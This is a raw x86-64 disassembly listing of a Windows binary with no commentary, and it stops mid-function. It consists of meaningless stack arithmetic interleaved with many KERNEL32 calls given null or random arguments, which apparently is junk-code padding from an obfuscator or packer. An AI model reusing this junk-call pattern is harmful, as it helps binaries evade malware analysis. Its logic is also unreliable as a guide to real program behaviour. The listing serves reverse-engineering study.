call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcb98], rax
lea rdx, [rsp + 0x26488]
mov rcx, qword [rsp + 0xc770]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x661c], eax
mov rax, qword [rsp + 0xa270]
movzx ecx, al
mov rax, qword [rsp + 0xc730]
shl rax, cl
mov qword [rsp + 0xd2e0], rax
mov eax, dword [rsp + 0x6494]
mov ecx, dword [rsp + 0x6464]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x61e0], eax
movsx eax, word [rsp + 0x22d8]
movsx ecx, word [rsp + 0x1bf8]
sub eax, ecx
mov word [rsp + 0x146c], ax
movzx eax, word [rsp + 0x2278]
mov word [rsp + 0x2304], ax
mov rax, qword [rsp + 0xcf68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd448]
add rcx, rax
mov rax, rcx
mov qword [0x1401c8bc0], rax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
movzx ecx, word [0x1401c70c4]
add eax, ecx
mov rcx, qword [rsp + 0xd018]
mov word [rcx], ax
lea rcx, [rsp + 0x1ff48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xd268]
mov rcx, qword [rsp + 0xc500]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc3c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcf68]
mov rax, qword [rax]
mov qword [rsp + 0xd450], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc328]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc368]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rcx, [rsp + 0x1fcd8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x66e0]
mov qword [rsp + 0xd458], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd460], rax
mov rax, qword [rsp + 0xc728]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x665c]
sar eax, cl
mov dword [rsp + 0x65b4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0xd008]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x378]
or eax, ecx
mov rcx, qword [rsp + 0xc438]
mov byte [rcx], al
movzx ecx, word [rsp + 0x1f58]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21a4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd468], rax
mov rax, qword [rsp + 0xce58]
mov rcx, qword [rsp + 0xc350]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9900], rax
mov rcx, qword [rsp + 0xcab8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6520], eax
movsx eax, word [rsp + 0x205c]
mov rcx, qword [rsp + 0xca78]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c70c0], ax
lea rcx, str.kzW2V1_5Y6T0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2084], ax
movsx eax, word [rsp + 0x2168]
movsx ecx, word [rsp + 0x20dc]
xor eax, ecx
mov word [rsp + 0x1fe8], ax
lea rax, [rsp + 0x2178]
mov qword [rsp + 0xd470], rax
movzx eax, word [rsp + 0x2188]
movzx ecx, word [0x1401c70f8]
and eax, ecx
mov word [rsp + 0xa5c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
movsx eax, byte [rsp + 0x37e]
movsx ecx, byte [rsp + 0xa9]
sub eax, ecx
mov byte [rsp + 0x13a], al
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
mov qword [rsp + 0xd478], rax
mov rax, qword [rsp + 0xcb50]
mov rcx, qword [rsp + 0xc6d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc430]
mov dword [rcx], eax
lea rcx, [rsp + 0x1d660]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor r9d, r9d
lea r8, [rsp + 0xcc78]
mov rdx, qword [rsp + 0xcb80]
mov rcx, qword [rsp + 0xc5c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x66c4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
lea rcx, [rsp + 0x20368]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xd060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbdc]
shl eax, cl
mov word [rsp + 0x1b20], ax
movzx eax, word [rsp + 0x1244]
movzx ecx, word [rsp + 0x11f8]
sar eax, cl
mov rcx, qword [rsp + 0xd1b0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov r9d, 2
lea r8, [rsp + 0xc198]
mov rdx, qword [rsp + 0xc600]
mov rcx, qword [rsp + 0xcd10]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6600], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.C8z3R7K44oMM0GhsPb8
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd480], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [0x1401c70b0]
mov qword [0x1401c8c70], rax
mov rax, qword [rsp + 0xcf68]
mov rcx, qword [rsp + 0xc680]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xab60], rax
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x66ec], eax
lea rcx, str.IgShbVLDti
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2308], ax
lea rax, [rsp + 0x9928]
mov qword [rsp + 0xd488], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9af8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc990]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x1f28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ff4], ax
movzx ecx, word [rsp + 0x1f04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x230c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65e4], eax
movzx eax, word [rsp + 0x2304]
mov word [rsp + 0x2310], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc338], rax
movzx ecx, word [rsp + 0x22e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f6c], ax
mov eax, dword [rsp + 0x5a0c]
mov ecx, dword [rsp + 0x650c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc848]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x384]
mov byte [rsp + 0x3c1], al
mov rax, qword [rsp + 0xc520]
mov rcx, qword [rsp + 0xc3c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5ed0], eax
mov rax, qword [rsp + 0xcb10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc368]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x383], al
lea rax, [0x1401c7020]
mov qword [0x1401c8c78], rax
movsx eax, word [rsp + 0x2034]
mov rcx, qword [rsp + 0xc4e0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xda0], ax
lea rcx, [rsp + 0x1d688]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx ecx, word [rsp + 0x21a4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2078], ax
movsx eax, word [rsp + 0x19d0]
movsx ecx, word [rsp + 0x22fc]
sar eax, cl
mov word [rsp + 0x20ec], ax
movzx eax, word [rsp + 0x1bc8]
mov word [rsp + 0x2314], ax
mov rax, qword [rsp + 0xcf58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcfb8]
shl rax, cl
mov qword [rsp + 0xc8f0], rax
lea rdx, [rsp + 0x264c0]
mov rcx, qword [rsp + 0xd480]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62b4], eax
mov rax, qword [rsp + 0xc3c0]
mov ecx, dword [rsp + 0x66ac]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xc3c0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0xc668]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x377]
cdq
idiv ecx
mov byte [rsp + 0x28d], al
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xd418]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9de0], rax
mov rax, qword [0x1401c8b18]
movzx eax, word [rax]
mov word [rsp + 0x2318], ax
mov rax, qword [rsp + 0xce68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2054]
sub eax, ecx
mov word [0x1401c8b48], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6538], eax
lea rcx, [rsp + 0x200f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xcf58]
mov qword [rsp + 0xd490], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd490]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa620], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2d0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov r9d, 1
lea r8, [rsp + 0xc318]
mov rdx, qword [rsp + 0xd438]
mov rcx, qword [rsp + 0xc770]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6704], eax
movzx eax, word [0x1401c8a70]
movzx ecx, word [rsp + 0x20a0]
sar eax, cl
mov word [rsp + 0x22a4], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6444], eax
mov rax, qword [rsp + 0xc8c8]
mov eax, dword [rax]
mov dword [rsp + 0x6708], eax
lea rcx, [rsp + 0x20248]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea rcx, str.r_L_AYENoXx
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x231c], ax
mov rcx, qword [rsp + 0xcbb8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x395]
movzx ecx, byte [rsp + 0x3a4]
or eax, ecx
mov rcx, qword [rsp + 0xc438]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
movzx ecx, word [rsp + 0x2154]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2320], ax
lea rcx, [rsp + 0x1fe58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0x26418]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6614], eax
lea rcx, [0x1401ad218]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2324], ax
lea rdx, [rsp + 0x26488]
mov rcx, qword [rsp + 0xd280]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6618], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc9d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38c]
sub eax, ecx
mov byte [rsp + 0x143], al
mov rax, qword [rsp + 0xc5d8]
mov ecx, dword [rsp + 0x6604]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0xc520]
mov dword [rcx], eax
lea rax, [rsp + 0xcb70]
mov qword [rsp + 0xd498], rax
mov rax, qword [rsp + 0xd068]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc698]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2000], ax
movzx eax, word [rsp + 0x1f94]
movzx ecx, word [rsp + 0xa90]
add eax, ecx
mov word [0x1401c7120], ax
mov rax, qword [0x1401c8aa8]
mov rcx, qword [rsp + 0xc3e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc960], rax
mov rax, qword [rsp + 0xd328]
mov rax, qword [rax]
mov qword [rsp + 0xd4a0], rax
movsx eax, word [rsp + 0x20e8]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf58], ax
mov rax, qword [0x1401c8ad8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd3b8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf30], ax
mov rax, qword [rsp + 0xcde8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xce20]
mov qword [rsp + 0xd4a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd4a8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x58b8], eax
mov edx, 0x12c0
mov rcx, qword [rsp + 0xd1c8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6568], eax
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
movsx ecx, byte [0x1401c8a26]
xor eax, ecx
mov byte [rsp + 0x3a5], al
mov rax, qword [rsp + 0xb7f8]
mov qword [rsp + 0xd4b0], rax
mov rax, qword [rsp + 0xc218]
mov rcx, qword [rsp + 0xc8f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc778], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
movsx eax, word [0x1401c70c0]
mov rcx, qword [rsp + 0xcd08]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1401c8b80]
mov word [rcx], ax
lea rax, [rsp + 0xf00]
mov qword [rsp + 0xd4b8], rax
mov rax, qword [rsp + 0xd008]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc4b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc438]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xcf48]
mov eax, dword [rax]
mov ecx, dword [0x1401c8a1c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcb48]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc3a0]
mov rax, qword [rax]
mov qword [rsp + 0xd4c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65b8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc128], rax
movsx eax, byte [rsp + 0x3af]
movsx ecx, byte [rsp + 0x3ab]
shl eax, cl
mov byte [rsp + 0x28d], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x202d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xcb50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6348]
shr eax, cl
mov dword [rsp + 0x5608], eax
mov rax, qword [rsp + 0xcae8]
mov rcx, qword [rsp + 0xca08]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf60], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc0b8], rax
movsx eax, word [rsp + 0x2198]
movsx ecx, word [0x1401c703c]
sub eax, ecx
mov word [rsp + 0x20c0], ax
movzx eax, word [rsp + 0x21c4]
mov word [0x1401c8c80], ax
mov rax, qword [rsp + 0xd268]
mov rax, qword [rax]
mov qword [rsp + 0xd4c8], rax
mov rax, qword [rsp + 0xc838]
movzx eax, word [rax]
mov rcx, qword [0x1401c8c00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
movsx eax, word [rsp + 0x9ac]
mov rcx, qword [rsp + 0xc698]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1dd4], ax
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xb270]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc738]
mov qword [rcx], rax
mov rax, qword [0x1401c8a88]
mov qword [rsp + 0xd4d0], rax
mov rax, qword [rsp + 0xcfa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x66c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64d4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x646c], eax
mov rax, qword [rsp + 0xc610]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc9d8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x36a], al
lea rax, [0x1401c8bd8]
mov qword [rsp + 0xd4d8], rax
mov rax, qword [rsp + 0xd1d8]
mov rcx, qword [rsp + 0xd088]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1401c7128], rax
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd008]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x389], al
mov rax, qword [rsp + 0xcc60]
mov eax, dword [rax]
mov ecx, dword [0x1401c8a20]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5efc], eax
mov rax, qword [rsp + 0xc888]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2118]
sar eax, cl
mov rcx, qword [rsp + 0xc6b0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1e24]
movzx ecx, word [0x1401c8c64]
sub eax, ecx
mov word [rsp + 0xa90], ax
lea rax, [rsp + 0x13a]
mov qword [rsp + 0xd4e0], rax
mov rax, qword [rsp + 0xcb00]
mov rcx, qword [rsp + 0xca20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa930], rax
mov eax, dword [0x1401c70f0]
mov dword [rsp + 0x670c], eax
mov rax, qword [rsp + 0xc9e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc7f8]
mov word [rcx], ax
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, str.Ii_gFOAP.hXVXV8
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2328], ax
movzx eax, word [rsp + 0x1e24]
movzx ecx, word [rsp + 0x2234]
sar eax, cl
mov rcx, qword [0x1401c8c10]
mov word [rcx], ax
mov rax, qword [rsp + 0xa1e0]
movzx ecx, al
mov rax, qword [0x1401c70e8]
shl rax, cl
mov rcx, qword [rsp + 0xd3f0]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x63b8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x664c], eax
mov rax, qword [rsp + 0xcda0]
mov rax, qword [rax]
mov qword [rsp + 0xd4e8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6710], eax
mov rax, qword [rsp + 0xd400]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd4a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc4b0], rax
lea rax, [rsp + 0x1fb4]
mov qword [rsp + 0xd4f0], rax
mov rax, qword [rsp + 0xca58]
mov rcx, qword [rsp + 0x9718]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd2c0], rax
mov rax, qword [rsp + 0xcac8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc368]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0xc3c0]
mov eax, dword [rax]
mov ecx, dword [0x1401c70f0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6400], eax
mov edx, 0x145
mov rcx, qword [rsp + 0xc920]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x66c8], eax
mov eax, dword [rsp + 0x6560]
mov rcx, qword [rsp + 0xc848]
mov qword [rsp + 0xd4f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd4f8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xcd70]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea rax, [rsp + 0x30b]
mov qword [rsp + 0xd500], rax
movsx eax, word [rsp + 0x1e54]
mov rcx, qword [rsp + 0xc4e0]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401c7094], ax
mov rax, qword [rsp + 0xc618]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2210]
or eax, ecx
mov rcx, qword [rsp + 0xc380]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x648c], eax
lea rax, [0x1401c7070]
mov qword [rsp + 0xd508], rax
lea rcx, [0x1401aca34]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x232c], ax
mov rax, qword [rsp + 0xd400]
mov rcx, qword [rsp + 0xcef0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcbc8], rax
mov rcx, qword [rsp + 0xc370]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x6608]
mov ecx, dword [rsp + 0x56f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6554], eax
mov rax, qword [rsp + 0xca58]
mov rax, qword [rax]
mov qword [rsp + 0xd510], rax
movsx eax, byte [rsp + 0x386]
movsx ecx, byte [rsp + 0x165]
sub eax, ecx
mov rcx, qword [rsp + 0xc720]
mov byte [rcx], al
mov rax, qword [rsp + 0xd3e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xe8c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movzx eax, word [0x1401c7098]
movzx ecx, word [rsp + 0xdac]
sar eax, cl
mov word [rsp + 0x190c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0xa5c0]
mov qword [0x1401c8c88], rax
movzx eax, word [rsp + 0xdac]
mov rcx, qword [rsp + 0xc7f0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x22a4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0xc760]
mov qword [rsp + 0xd518], rax
lea rcx, [rsp + 0x20398]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc738]
mov rcx, qword [rsp + 0xd400]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc0b0], rax
movzx eax, byte [rsp + 0x3b5]
mov byte [rsp + 0x3c2], al
movzx ecx, word [rsp + 0x1fb0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fbc], ax
mov rax, qword [0x1401c8c78]
mov rcx, qword [rsp + 0x9710]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcb20], rax
mov rax, qword [rsp + 0xd430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x65b0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6620], eax
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
movzx ecx, byte [str.5qKr]
and eax, ecx
mov byte [rsp + 0x104], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd440]
mov qword [rsp + 0xd520], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd520]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6684], eax
movzx eax, word [rsp + 0x207c]
mov word [0x1401c8c90], ax
lea rax, [rsp + 0x1fe8]
mov qword [rsp + 0xd528], rax
mov r9d, 2
lea r8, [rsp + 0xc5d0]
mov rdx, qword [rsp + 0xc198]
mov rcx, qword [rsp + 0xcee0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6714], eax
mov rax, qword [0x1401c8a50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x22f0]
sar eax, cl
mov rcx, qword [rsp + 0xcad0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd4d8]
movzx eax, word [rax]
mov word [rsp + 0x2330], ax
mov rax, qword [rsp + 0xc720]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3bb]
or eax, ecx
mov byte [rsp + 0x3b9], al
mov rcx, qword [rsp + 0xd300]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6704], eax
mov rax, qword [rsp + 0xc378]
mov rcx, qword [rsp + 0xc658]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd2c0], rax
lea rcx, str.hf6tKX_nQ8rNO
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2334], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6640], eax
mov rax, qword [rsp + 0xc5d8]
imul eax, dword [rax], 0x6a0b
mov dword [rsp + 0x5e18], eax
mov rax, qword [rsp + 0xd060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2204]
add eax, ecx
mov rcx, qword [rsp + 0xd068]
mov word [rcx], ax
movzx ecx, word [rsp + 0x201c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x219c], ax
lea rdx, [rsp + 0x260d0]
mov rcx, qword [rsp + 0xcc20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6718], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x218c]
mov qword [rsp + 0xd530], rax
mov rax, qword [rsp + 0xcf68]
mov rcx, qword [rsp + 0xaef0]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c8c20], rax
movzx ecx, word [rsp + 0x210c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21d0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x21d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x211c], ax
mov rax, qword [rsp + 0xd268]
mov rcx, qword [rsp + 0xcc88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x98f0], rax
lea rcx, [rsp + 0x20398]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xd1d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc3a0]
mov qword [rsp + 0xd538], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd538]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa5c0], rax
mov rax, qword [rsp + 0xd410]
mov qword [rsp + 0xd540], rax
movzx ecx, word [rsp + 0x22b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2338], ax
movzx eax, word [rsp + 0x848]
mov rcx, qword [rsp + 0xc948]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2234], ax
xor ecx, ecx
